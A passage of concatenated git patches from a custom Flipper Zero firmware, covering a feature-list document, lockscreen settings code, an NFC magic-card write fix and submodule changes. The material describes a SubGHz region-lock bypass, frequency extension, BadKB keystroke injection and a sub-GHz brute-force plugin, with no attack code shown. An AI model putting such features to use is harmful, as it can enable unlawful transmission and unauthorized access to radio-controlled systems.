&I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 95, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 16, 7 + STATUS_BAR_Y_SHIFT, &I_WarningDolphin_45x42); - canvas_draw_dot(canvas, 17, 61); - } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { - // canvas_set_font(canvas, FontPrimary); - // elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Unlocked"); } } From bd50d33cfc677c6225f8fcf414d50e54d061e3cf Mon Sep 17 00:00:00 2001 From: Clara K Date: Sun, 19 Mar 2023 01:47:00 +0100 Subject: [PATCH 161/329] ABOGADOOOO --- customization.md | 174 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 173 insertions(+), 1 deletion(-) diff --git a/customization.md b/customization.md index 1eca74719..66dc85e37 100644 --- a/customization.md +++ b/customization.md @@ -1 +1,173 @@ -Empty File +

Full feature list

+ +This will be a full list of all our custom stuff, since its gotten quite a lot over time. If you have any questions, feel free to ask on our [Discord](https://discord.gg/flipper-xtreme) + +------ + +

Xtreme Application

+ +The Xtreme App is the heart, the centerpiece of all our additions. Every single one of them shows up in there. Countless hours of work have been spent on this application, to make sure everything works just about perfect. The application is structured as follows: + +- `Interface`: Lets you configure the UI of the Flipper. Graphics, Main Menu, Lock screen, Statusbar, Common +- `Protocols`: Settings for BadKB (BadKeyboard) like Bluetooth remember mode, SubGHz frequency editor and restriction settings +- `Misc`: Changing level name, XP Level and Butthurt timer + +----- + +
+ Interface + +The main Interface section allows you to change a whole array of graphical things. + +-

Graphics:

+ + - Asset Pack: + - Asset Packs allow you to change the background animations, lockscreen wallpaper, scanning assets and more. They are fairly simple to create and install, but for now, we will not explain it in too much detail. If you care about all of it, click [here](https://github.com/ClaraCrazy/Flipper-Xtreme/wiki/Asset-Packs) +

+ - Anim Speed: + - Animation speed lets you change the speed at which your background animations play. You can slow them down or speed them up as you wish. +

+ - Cycle Anims: + - Cycle Animations as you wish. You set the timer for how often, if at all, your background will change. Pick between a bunch of time options, turn it off alltogether or just let it be on the default "Meta.txt" setting, which uses the cycle speed defined by whoever made your used Asset Pack. +

+ - Unlock Anims: + - Asset pack creators have the option to lock certain Animations behind a level, meaning you have to be Level X to see it. This option lets you bypass these restrictions. + +
+ +------ + +
+ +-

Main Menu:

+ + - Menu Style: + - Default: The default option is the Menu you all know already. Nothing special here + - Wii Menu: The people my age or older will surely remember the beauty that was the Wii Menu. Nice "Channels" to pick from, sorted in an X*X array. This is exactly what this is. Nostalgia time! +

+ - App: + - This is a display. It will show all the custom Apps you have so far added to the menu. Yes, you heard that right! You can add custom apps to the menu now. Should have been a feature this whole time, not ssure why it isnt. +

+ - Add / Remove: + - This allows you to actually add / remove Applications to the menu. Note: The order in which they appear on the menu is defined by the order in which you add them. Simply hit "Add", select your app and you are ready to go! Same for remove: Select the App on the "App" slider above, and hit remove. Boom, simple as that! + +
+ +------ + +
+ +-

Lock Screen:

+ + - TBA + +
+ +------ + +
+ +-

Statusbar:

+ + - Battery Icon: + - The Battery Icon allows you to pick between quite a few different Battery styles. One doesnt fit all. But many will increase the odds. +

+ - Status Icons: + - Status Icons are loved by some, and hated by others. Whichever party you belong to, we got you covered. Turn the on / off as you wish. +

+ - Bar Borders: + - Bar Borders allow you to add an additional border around your icons. Simply turn it on or off. +

+ - Bar Background: + - The bar background is just a little fancy line on the top, connecting the Icons with the battery. If thats too much for you, turn it off + +
+ +------ + +
+ +-

Common:

+ + - Sort Dirst First: + - Sorting by Dirs first changes the order of files in the Browser. + + - Dark Mode: + - Yup, dark mode. For real. It simply inverts the colors of all areas. + + - Lefty Mode: + - We know left-handed people exist. OFW seemed to forget about that for a solid three years, so we added it ourselves. It flips the screen on its head, and inverts the controls. + +----- + +
+ +
+Protocols + +There are a few options for protocols. Lets talk about those: +

+-

BadKB Mode:

+ + - This allows you to toggle between USB and Bluetooth mode for BadKB (formerly known as BadUSB). More about that [here](https://github.com/ClaraCrazy/Flipper-Xtreme/wiki/BadKB) +

+-

BadBT Remember:

+ + - This option allows your Flipper to save the BT keys of the device it connected to, for automatic pairing next time. + +
+ +------ + +
+ +-

SubGHz Frequencies:

+ + - Use Defaults: + - Toggle the default frequencies provided by the Firmware. Dont want them, turn it off. +

+ - Static / Hopper frequencies: + - Frequency: + - This is a basic frequency display, similar to the App display we talked about earlier. It shows you the frequencies you already added and lets you select them if you want to remove one +

+ - Add Frequency: + - Allows you to add your custom Frequency. Useful for keys / whatever, that we dont know about or can/will not implement for whatever reason we may have given. +

+ - Remove Frequency: + - Simply removes the selected Frequency. One click and its gone. Magic! + +
+ +------ + +
+ +-

SubGHz Extend:

+ + - Extending the subghz frequencies allows you to go beyond what the Flipper devs were testing the Chip on. But dont worry, we sure did! +

+-

SubGhz Bypass:

+ + - This allows you to bypass the region lock of the Flippers SubGHz module. + +----- + +
+ +
+Misc + +-

Change Device Name:

+ - Allows you to change the name of your Flipper. This shows up on the Passport, qFlipper and the Flipper mobile app. +

+-

XP Level:

+ - Set your XP Level to whatever you want. No real use, just because you can +

+-

Butthurt Timer:

+ - Allows you to manually set the "Butthurt" Timer of the Flipper, controlling how fast it will get sad when its not used. + +
+ +----- + +You've just learned quite a lot. Now, have fun have fun customizing the Flipper the way you'd like it! From f63f8b83985136fd65191f5b85dcc3a33623f2b9 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 00:49:20 +0000 Subject: [PATCH 162/329] Fix typo --- .../xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c index 9ea04ed69..7a3765ce0 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c @@ -4,7 +4,7 @@ enum VarItemListIndex { VarItemListIndexBatteryIcon, VarItemListIndexStatusIcons, VarItemListIndexBarBorders, - VarItemListIndexbarBackground, + VarItemListIndexBarBackground, }; void xtreme_app_scene_interface_statusbar_var_item_list_callback(void* context, uint32_t index) { From 12fe307eedc3c91300b6600fd294de14a69aee09 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 00:50:04 +0000 Subject: [PATCH 163/329] Add lockscreen settings to xfw app --- .../scenes/xtreme_app_scene_config.h | 1 + .../scenes/xtreme_app_scene_interface.c | 5 ++ .../xtreme_app_scene_interface_lockscreen.c | 86 +++++++++++++++++++ .../desktop/views/desktop_view_locked.c | 22 +++-- applications/services/xtreme/settings.c | 3 + applications/services/xtreme/settings.h | 5 +- 6 files changed, 113 insertions(+), 9 deletions(-) create mode 100644 applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h index b059ed5a3..dfe115522 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h @@ -3,6 +3,7 @@ ADD_SCENE(xtreme_app, interface, Interface) ADD_SCENE(xtreme_app, interface_graphics, InterfaceGraphics) ADD_SCENE(xtreme_app, interface_mainmenu, InterfaceMainmenu) ADD_SCENE(xtreme_app, interface_mainmenu_add, InterfaceMainmenuAdd) +ADD_SCENE(xtreme_app, interface_lockscreen, InterfaceLockscreen) ADD_SCENE(xtreme_app, interface_statusbar, InterfaceStatusbar) ADD_SCENE(xtreme_app, interface_common, InterfaceCommon) ADD_SCENE(xtreme_app, protocols, Protocols) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c index e732dbd2a..a033e4746 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c @@ -3,6 +3,7 @@ enum VarItemListIndex { VarItemListIndexGraphics, VarItemListIndexMainmenu, + VarItemListIndexLockscreen, VarItemListIndexStatusbar, VarItemListIndexCommon, }; @@ -18,6 +19,7 @@ void xtreme_app_scene_interface_on_enter(void* context) { variable_item_list_add(var_item_list, "Graphics", 0, NULL, app); variable_item_list_add(var_item_list, "Mainmenu", 0, NULL, app); + variable_item_list_add(var_item_list, "Lockscreen", 0, NULL, app); variable_item_list_add(var_item_list, "Statusbar", 0, NULL, app); variable_item_list_add(var_item_list, "Common", 0, NULL, app); @@ -44,6 +46,9 @@ bool xtreme_app_scene_interface_on_event(void* context, SceneManagerEvent event) case VarItemListIndexMainmenu: scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenu); break; + case VarItemListIndexLockscreen: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceLockscreen); + break; case VarItemListIndexStatusbar: scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceStatusbar); break; diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c new file mode 100644 index 000000000..1dbde0a03 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c @@ -0,0 +1,86 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexShowClock, + VarItemListIndexShowDate, +}; + +void xtreme_app_scene_interface_lockscreen_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +static void xtreme_app_scene_interface_lockscreen_show_time_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_time = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_lockscreen_show_date_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_date = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_lockscreen_show_statusbar_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_statusbar = value; + app->save_settings = true; +} + +void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { + XtremeApp* app = context; + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + + item = variable_item_list_add( + var_item_list, "Show Time", 2, xtreme_app_scene_interface_lockscreen_show_time_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_time); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_time ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, "Show Date", 2, xtreme_app_scene_interface_lockscreen_show_date_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_date); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_date ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, "Show Statusbar", 2, xtreme_app_scene_interface_lockscreen_show_statusbar_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_statusbar); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF"); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_lockscreen_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceLockscreen)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_lockscreen_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceLockscreen, event.event); + consumed = true; + switch(event.event) { + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_lockscreen_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 31b355ea2..223b19d30 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -91,17 +91,23 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year); } + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); canvas_draw_icon(canvas, 0, 0 + y, XTREME_ASSETS()->I_Lockscreen); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str(canvas, 0, 64 + y, time_str); - int meridian_offset = canvas_string_width(canvas, time_str) + 2; - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 48 + y, date_str); - if(time_format == LocaleTimeFormat12h) { - canvas_draw_str(canvas, 0 + meridian_offset, 64 + y, meridian_str); + if(xtreme_settings->lockscreen_time) { + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str(canvas, 0, 64 + y, time_str); + if(time_format == LocaleTimeFormat12h) { + int meridian_offset = canvas_string_width(canvas, time_str) + 2; + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0 + meridian_offset, 64 + y, meridian_str); + } + } + if(xtreme_settings->lockscreen_date) { + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str); } - canvas_set_font(canvas, FontBatteryPercent); if(model->view_state == DesktopViewLockedStateLockedHintShown) { + canvas_set_font(canvas, FontBatteryPercent); canvas_draw_str_aligned(canvas, 79, 6 + y, AlignRight, AlignCenter, "Press 3x"); canvas_draw_icon(canvas, 81, 2 + y, &I_Pin_back_arrow_10x8); } diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index 61d9294f8..69bc14cd0 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -40,6 +40,9 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->cycle_anims = 0; // Meta.txt xtreme_settings->unlock_anims = false; // OFF xtreme_settings->wii_menu = true; // ON + xtreme_settings->lockscreen_time = true; // ON + xtreme_settings->lockscreen_date = true; // ON + xtreme_settings->lockscreen_statusbar = true; // ON xtreme_settings->battery_icon = BatteryIconBarPercent; // Bar % xtreme_settings->status_icons = true; // ON xtreme_settings->bar_borders = true; // ON diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index e61984e0c..167bf4a60 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -15,7 +15,7 @@ extern "C" { #define MAX_PACK_NAME_LEN 32 -#define XTREME_SETTINGS_VERSION (7) +#define XTREME_SETTINGS_VERSION (8) #define XTREME_SETTINGS_PATH_OLD INT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_MAGIC (0x69) @@ -28,6 +28,9 @@ typedef struct { int32_t cycle_anims; bool unlock_anims; bool wii_menu; + bool lockscreen_time; + bool lockscreen_date; + bool lockscreen_statusbar; BatteryIcon battery_icon; bool status_icons; bool bar_borders; From b37eaebf0486b474ef6fd78d7078f3627687dc18 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 00:57:12 +0000 Subject: [PATCH 164/329] Update menu style setting naming --- .../xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c index 50639098a..baadc0c6c 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c @@ -17,7 +17,7 @@ void xtreme_app_scene_interface_mainmenu_var_item_list_callback( static void xtreme_app_scene_interface_mainmenu_wii_menu_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + variable_item_set_current_value_text(item, value ? "Wii Grid" : "App List"); XTREME_SETTINGS()->wii_menu = value; app->save_settings = true; } @@ -35,9 +35,9 @@ void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { VariableItem* item; item = variable_item_list_add( - var_item_list, "Wii menu", 2, xtreme_app_scene_interface_mainmenu_wii_menu_changed, app); + var_item_list, "Menu Style", 2, xtreme_app_scene_interface_mainmenu_wii_menu_changed, app); variable_item_set_current_value_index(item, xtreme_settings->wii_menu); - variable_item_set_current_value_text(item, xtreme_settings->wii_menu ? "ON" : "OFF"); + variable_item_set_current_value_text(item, xtreme_settings->wii_menu ? "Wii Grid" : "App List"); item = variable_item_list_add( var_item_list, From d14364a86c9c68848fdbcdb2c6f351f36f712b9b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 19 Mar 2023 15:34:05 +0300 Subject: [PATCH 165/329] OFW PR: Fixed writing gen1a magic tags with invalid BCC PR 2511 by AloneLiberty https://github.com/AloneLiberty/flipperzero-firmware/tree/nfc-magic-write-fix --- applications/external/nfc_magic/lib/magic/magic.c | 5 ++--- applications/external/nfc_magic/nfc_magic_worker.c | 8 +++++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/applications/external/nfc_magic/lib/magic/magic.c b/applications/external/nfc_magic/lib/magic/magic.c index a922bc7a8..9a71daaa0 100644 --- a/applications/external/nfc_magic/lib/magic/magic.c +++ b/applications/external/nfc_magic/lib/magic/magic.c @@ -6,8 +6,7 @@ #define MAGIC_CMD_WUPA (0x40) #define MAGIC_CMD_WIPE (0x41) -#define MAGIC_CMD_READ (0x43) -#define MAGIC_CMD_WRITE (0x43) +#define MAGIC_CMD_ACCESS (0x43) #define MAGIC_MIFARE_READ_CMD (0x30) #define MAGIC_MIFARE_WRITE_CMD (0xA0) @@ -70,7 +69,7 @@ bool magic_data_access_cmd() { FuriHalNfcReturn ret = 0; do { - tx_data[0] = MAGIC_CMD_WRITE; + tx_data[0] = MAGIC_CMD_ACCESS; ret = furi_hal_nfc_ll_txrx_bits( tx_data, 8, diff --git a/applications/external/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c index 32202f12d..1564c87cd 100644 --- a/applications/external/nfc_magic/nfc_magic_worker.c +++ b/applications/external/nfc_magic/nfc_magic_worker.c @@ -88,15 +88,17 @@ void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker) { card_found_notified = true; } furi_hal_nfc_sleep(); - if(!magic_wupa()) { - FURI_LOG_E(TAG, "Not Magic card"); + FURI_LOG_E(TAG, "No card response to WUPA (not a magic card)"); nfc_magic_worker->callback( NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); break; } + furi_hal_nfc_sleep(); + } + if(magic_wupa()) { if(!magic_data_access_cmd()) { - FURI_LOG_E(TAG, "Not Magic card"); + FURI_LOG_E(TAG, "No card response to data access command (not a magic card)"); nfc_magic_worker->callback( NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); break; From 949f372686a3ac5b7d6161b716cca3ffc502fad9 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:02:48 +0000 Subject: [PATCH 166/329] Better lockscreen prompt + unlock with UP --- .../desktop/views/desktop_view_locked.c | 40 ++++++++++++------- 1 file changed, 25 insertions(+), 15 deletions(-) diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 223b19d30..070257f7e 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -107,9 +107,14 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str); } if(model->view_state == DesktopViewLockedStateLockedHintShown) { - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 79, 6 + y, AlignRight, AlignCenter, "Press 3x"); - canvas_draw_icon(canvas, 81, 2 + y, &I_Pin_back_arrow_10x8); + canvas_set_font(canvas, FontSecondary); + if(model->pin_locked) { + elements_bubble_str(canvas, 12, 14 + y, " Press \nto unlock!", AlignRight, AlignBottom); + canvas_draw_icon(canvas, 45, 16 + y, &I_Pin_arrow_up_7x9); + } else { + elements_bubble_str(canvas, 2, 14 + y, "Press 3x \n to unlock!", AlignRight, AlignBottom); + canvas_draw_icon(canvas, 43, 17 + y, &I_Pin_back_arrow_10x8); + } } } @@ -132,8 +137,7 @@ static bool desktop_view_locked_cover_move(DesktopViewLockedModel* model, bool d static void desktop_view_locked_update_hint_icon_timeout(DesktopViewLocked* locked_view) { DesktopViewLockedModel* model = view_get_model(locked_view->view); - const bool change_state = (model->view_state == DesktopViewLockedStateLocked) && - !model->pin_locked; + const bool change_state = (model->view_state == DesktopViewLockedStateLocked); if(change_state) { model->view_state = DesktopViewLockedStateLockedHintShown; } @@ -202,8 +206,6 @@ static bool desktop_view_locked_input(InputEvent* event, void* context) { if(view_state == DesktopViewLockedStateUnlocked) { return false; - } else if(view_state == DesktopViewLockedStateLocked && pin_locked) { - locked_view->callback(DesktopLockedEventShowPinInput, locked_view->context); } else if( view_state == DesktopViewLockedStateLocked || view_state == DesktopViewLockedStateLockedHintShown) { @@ -214,16 +216,24 @@ static bool desktop_view_locked_input(InputEvent* event, void* context) { desktop_view_locked_update_hint_icon_timeout(locked_view); - if(event->key == InputKeyBack) { - if(event->type == InputTypeShort) { - locked_view->lock_lastpress = press_time; - locked_view->lock_count++; - if(locked_view->lock_count == UNLOCK_CNT) { - locked_view->callback(DesktopLockedEventUnlocked, locked_view->context); - } + if(pin_locked) { + if(event->key == InputKeyUp) { + locked_view->callback(DesktopLockedEventShowPinInput, locked_view->context); + } else { + locked_view->lock_count = 0; } } else { - locked_view->lock_count = 0; + if(event->key == InputKeyBack) { + if(event->type == InputTypeShort) { + locked_view->lock_lastpress = press_time; + locked_view->lock_count++; + if(locked_view->lock_count == UNLOCK_CNT) { + locked_view->callback(DesktopLockedEventUnlocked, locked_view->context); + } + } + } else { + locked_view->lock_count = 0; + } } locked_view->lock_lastpress = press_time; From 3899b553bb73f32abb17cb9a5fef927ef35b3086 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:11:30 +0000 Subject: [PATCH 167/329] Add setting for lockscreen prompt --- .../scenes/xtreme_app_scene_interface_lockscreen.c | 13 +++++++++++++ .../services/desktop/views/desktop_view_locked.c | 2 +- applications/services/xtreme/settings.c | 1 + applications/services/xtreme/settings.h | 3 ++- 4 files changed, 17 insertions(+), 2 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c index 1dbde0a03..56e2d73da 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c @@ -34,6 +34,14 @@ static void xtreme_app_scene_interface_lockscreen_show_statusbar_changed(Variabl app->save_settings = true; } +static void xtreme_app_scene_interface_lockscreen_unlock_prompt_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_prompt = value; + app->save_settings = true; +} + void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); @@ -55,6 +63,11 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { variable_item_set_current_value_index(item, xtreme_settings->lockscreen_statusbar); variable_item_set_current_value_text(item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF"); + item = variable_item_list_add( + var_item_list, "Unlock Prompt", 2, xtreme_app_scene_interface_lockscreen_unlock_prompt_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_prompt); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_prompt ? "ON" : "OFF"); + variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_interface_lockscreen_var_item_list_callback, app); diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 070257f7e..23aef6e92 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -106,7 +106,7 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str); } - if(model->view_state == DesktopViewLockedStateLockedHintShown) { + if(model->view_state == DesktopViewLockedStateLockedHintShown && xtreme_settings->lockscreen_prompt) { canvas_set_font(canvas, FontSecondary); if(model->pin_locked) { elements_bubble_str(canvas, 12, 14 + y, " Press \nto unlock!", AlignRight, AlignBottom); diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index 69bc14cd0..fe921cca5 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -43,6 +43,7 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->lockscreen_time = true; // ON xtreme_settings->lockscreen_date = true; // ON xtreme_settings->lockscreen_statusbar = true; // ON + xtreme_settings->lockscreen_prompt = true; // ON xtreme_settings->battery_icon = BatteryIconBarPercent; // Bar % xtreme_settings->status_icons = true; // ON xtreme_settings->bar_borders = true; // ON diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 167bf4a60..42069e71b 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -15,7 +15,7 @@ extern "C" { #define MAX_PACK_NAME_LEN 32 -#define XTREME_SETTINGS_VERSION (8) +#define XTREME_SETTINGS_VERSION (9) #define XTREME_SETTINGS_PATH_OLD INT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_MAGIC (0x69) @@ -31,6 +31,7 @@ typedef struct { bool lockscreen_time; bool lockscreen_date; bool lockscreen_statusbar; + bool lockscreen_prompt; BatteryIcon battery_icon; bool status_icons; bool bar_borders; From 2fe2b183e6db974f018db0b2c4428677ee52ef25 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:29:36 +0000 Subject: [PATCH 168/329] Readd subbrute --- .gitmodules | 3 +++ applications/plugins/subbrute | 1 + 2 files changed, 4 insertions(+) create mode 160000 applications/plugins/subbrute diff --git a/.gitmodules b/.gitmodules index 56368cd58..6435cfb1e 100644 --- a/.gitmodules +++ b/.gitmodules @@ -31,3 +31,6 @@ [submodule "applications/external/dap_link/lib/free-dap"] path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git +[submodule "applications/external/subbrute"] + path = applications/external/subbrute + url = https://github.com/derskythe/flipperzero-subbrute.git diff --git a/applications/plugins/subbrute b/applications/plugins/subbrute new file mode 160000 index 000000000..49d32f8ed --- /dev/null +++ b/applications/plugins/subbrute @@ -0,0 +1 @@ +Subproject commit 49d32f8ed6790d3b9a99f261ad306766325a691a From 920bdfe8560f4757ccdb36fc7d5827257227a7e9 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:31:48 +0000 Subject: [PATCH 169/329] Remove subbrute --- .gitmodules | 3 --- applications/external/subbrute | 1 - 2 files changed, 4 deletions(-) delete mode 160000 applications/external/subbrute diff --git a/.gitmodules b/.gitmodules index 6435cfb1e..56368cd58 100644 --- a/.gitmodules +++ b/.gitmodules @@ -31,6 +31,3 @@ [submodule "applications/external/dap_link/lib/free-dap"] path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git -[submodule "applications/external/subbrute"] - path = applications/external/subbrute - url = https://github.com/derskythe/flipperzero-subbrute.git diff --git a/applications/external/subbrute b/applications/external/subbrute deleted file mode 160000 index f9a4508e5..000000000 --- a/applications/external/subbrute +++ /dev/null @@ -1 +0,0 @@ -Subproject commit f9a4508e508393ce064179bc83b09e4516843400 From 4f081e0f120016b18cf2d44329e3f9f5d3562676 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:33:54 +0000 Subject: [PATCH 170/329] Readd subbrute(s) pt2 --- .gitmodules | 6 ++++++ applications/external/subbrute | 1 + applications/plugins/subbrute | 2 +- 3 files changed, 8 insertions(+), 1 deletion(-) create mode 160000 applications/external/subbrute diff --git a/.gitmodules b/.gitmodules index 56368cd58..ffdca49cf 100644 